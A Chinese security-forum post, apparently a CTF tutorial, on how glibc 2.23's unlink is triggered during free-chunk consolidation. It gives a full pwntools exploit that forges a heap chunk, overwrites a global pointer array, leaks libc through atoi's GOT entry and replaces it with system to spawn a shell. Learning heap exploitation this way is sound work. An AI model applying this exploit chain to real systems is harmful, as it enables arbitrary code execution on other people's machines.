吾爱破解 - 52pojie.cn

 找回密码
 注册[Register]

QQ登录

只需一步,快速开始

查看: 6410|回复: 6
收起左侧

[漏洞分析] glibc unlink触发机制解析(pwn unlink)

[复制链接]
nigacat 发表于 2020-5-6 21:45
在pwn 的学习 其中unlink机制与原理是比较复杂的 需要配合glibc源码进行分析


关于unlink的原理,这里不用过多阐述 不懂的可以看一下ctfwiki的相关知识
下面给出一张图概过

unlink

unlink


现在我们重点分析 unlink的触发机制,即什么时候会发生unlink?
当需要合并相邻的freechunk时用到unlink
而合并堆块又分为向地地址合并和向高地址合并
在ctf glibc pwn中 我们一般利用的是向低地址合并的unlink
下面给出 glibc2.23中关于向低地址合并的源码

    if (!prev_inuse(p)) {//判断后一个堆块(低地址)是否free,free时进行下一步操作
      prevsize = p->prev_size;//读取p堆块的prev_size位
      size += prevsize;//size相加
      p = chunk_at_offset(p, -((long) prevsize));//p指向后一个堆块的地址,实现了合并
      unlink(av, p, bck, fwd);//unlink脱链操作
    }
图片表该示过程:

图片.png
图片.png
向高地址合并:
源码
    if (nextchunk != av->top) {//下一个堆块(高地址)是否为top chunk
      /* get and clear inuse bit */
      nextinuse = inuse_bit_at_offset(nextchunk, nextsize);//将下一个堆块的prev_inuse位置为0,因为即将free这个堆块的前一个堆块
      /* consolIDAte forward */
      if (!nextinuse) {//判断下一个堆块是否free,是则进行unlink
    unlink(av, nextchunk, bck, fwd);
    size += nextsize;//size相加,相当于扩大了堆块,实现了 free
      } else
    clear_inuse_bit_at_offset(nextchunk, 0);

接下来来看一个 unlink的ctf 实例
unlink.rar (4.44 KB, 下载次数: 35)
压缩文件给出了 elf和我写的exp
这是一个经典的unlink修改全局数组 实现任意地址写的题目

ida分析

ida分析

先分析一下 ,其中的change_item中存在堆溢出漏洞
malloc出的指针存放于 0x6020c0的全局数组中
这个题的思路大概就是 首先unlink 造成0x6020c0的全局数组任意地址写

然后 泄漏libc 最后修改elf.got['atoi']为system

再输入/bin/sh\x00造成getshell

def add(size,content):
    p.sendlineafter('choice:',str(2))
    p.sendlineafter('name:',str(size))
    p.sendlineafter('item:',content)

def show():
    p.sendlineafter('choice:',str(1))

def change(index,size,content):
    p.sendlineafter('choice:',str(3))
    p.sendlineafter('item:',str(index))
    p.sendlineafter('name:',str(size))
    p.sendlineafter('item:',content)

def delete(index):
    p.sendlineafter('choice:',str(4))
    p.sendlineafter('item:',str(index))

sleep(2)
add(0x20,'aaaa')#0
add(0x80,'bbbb')#1 实际分配size为0x90,保证期不为fastbin
add(0x80,'cccc')#2

此时的堆块情况如下
图片.png
全局数组情况如下
图片.png
我们利用unlink在全局数组写的思路是
由于全局数组的指针是指向chunk数据段的而不是chunk起始位置的

所以在chunk1的数据段伪造另一个chunk,chunk大小得与接下来的chunk2 的prev_size对应
然后设置伪造堆块的fd=ptr-0x18 bk=ptr-0x10(这么做的原因ctfwiki里面有)
通过溢出 修改chunk2 的prev_size 为0x80 size为0x90 pre_inuse为0
再free(chunk2)时便会前向合并触发unlink
pause()
fd=0x6020d8-0x18
bk=0x6020d8-0x10
payload1=p64(0)+p64(0x81)#fake_chunk
payload1+=p64(fd)+p64(bk)
payload1+=p64(0)*12
payload1+=p64(0x80)+p64(0x90)
change(1,0x90,payload1)
delete(2)#unlink
此时全局数组情况如下
图片.png
可以发现我们现在已经可以通过change(1)实现任意地址读写了

pause()
change(1,0x20,'b'*8+p64(elf.got['atoi']))
show()
p.recvuntil(': ')
libc_base=u64(p.recv(6).ljust(8,'\x00'))-libc.sym['atoi']
print "libc_base:"+hex(libc_base)
change(0,0x20,p64(libc_base+libc.sym['system']))
p.recvuntil(':')
p.sendline('/bin/sh\x00')
p.interactive()
我们可以通过修改atoi的got 为system

然后输入/bin/sh\x00触发system('/bin/sh\x00')
图片.png

免费评分

参与人数 3威望 +2 吾爱币 +101 热心值 +3 收起 理由
bevirus + 1 谢谢@Thanks!
梦生 + 1 + 1 谢谢@Thanks!
Hmily + 2 + 100 + 1 感谢发布原创作品,吾爱破解论坛因你更精彩!

查看全部评分

发帖前要善用论坛搜索功能,那里可能会有你要找的答案或者已经有人发布过相同内容了,请勿重复发帖。

深爱我的女孩 发表于 2020-5-6 22:01
看不懂,路过帮顶!
斩风 发表于 2020-5-7 20:09
17696091221 发表于 2020-5-7 23:26
hkfox 发表于 2020-5-12 17:19
看不懂,路过帮顶
coder014 发表于 2020-5-17 09:34
楼主厉害了!
sklli 发表于 2020-5-21 11:52
看着就很牛牛牛
wwbtowwb 发表于 2020-8-23 19:18
我来学习啦  谢谢
您需要登录后才可以回帖 登录 | 注册[Register]

本版积分规则

返回列表

RSS订阅|小黑屋|处罚记录|联系我们|吾爱破解 - LCG - LSG ( 京ICP备16042023号 | 京公网安备 11010502030087号 )

GMT+8, 2024-11-15 13:03

Powered by Discuz!

Copyright © 2001-2020, Tencent Cloud.

快速回复 返回顶部 返回列表